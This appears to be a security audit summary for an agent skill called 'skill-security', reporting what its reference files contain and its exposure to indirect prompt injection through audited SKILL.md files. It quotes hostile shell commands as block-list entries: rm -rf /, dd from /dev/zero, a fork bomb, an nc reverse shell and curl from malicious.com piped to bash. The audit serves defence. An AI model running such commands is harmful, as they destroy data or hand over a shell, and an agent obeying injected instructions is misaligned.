The Agent Skills Directory

[COMMAND_EXECUTION]: The file references/command-blacklist.md contains examples of destructive shell commands (e.g., rm -rf /, dd if=/dev/zero), fork bombs (:(){ :|:& };:), and reverse shell patterns (nc -e /bin/sh). These are documented specifically as 'KESİN RED' (Absolute Rejection) entries to define behavior the agent must block in other skills.
[REMOTE_CODE_EXECUTION]: The skill documentation in SKILL.md and references/command-blacklist.md includes the pattern curl http://malicious.com | bash. This is used as a placeholder in an example violation report and as an RCE pattern to be detected and blocked.
[EXTERNAL_DOWNLOADS]: The skill defines a whitelist of trusted domains in references/api-whitelist.md, including well-known infrastructure and AI providers such as Amazon AWS, Google Cloud, Azure, Anthropic, and OpenAI.
[DATA_EXFILTRATION]: references/pii-patterns.md contains regex patterns for detecting and masking sensitive data like Turkish ID numbers, credit card information, and API keys for various services. This is a protective measure to prevent the accidental exposure of sensitive user data.
[PROMPT_INJECTION]: The skill operates on untrusted data from other skills, creating an attack surface for indirect prompt injection. \n
Ingestion points: The skill ingests and analyzes external SKILL.md files during its 'Audit' mode. \n
Boundary markers: The instructions do not specify strict delimiters or isolation protocols for the content being audited. \n
Capability inventory: The skill has the capability to write security audit reports and violation logs to the local file system (docs/security/). \n
Sanitization: While the skill describes a methodology for sanitization and least-privilege, it relies on prompt-based logic rather than rigid code-level enforcement.

skill-security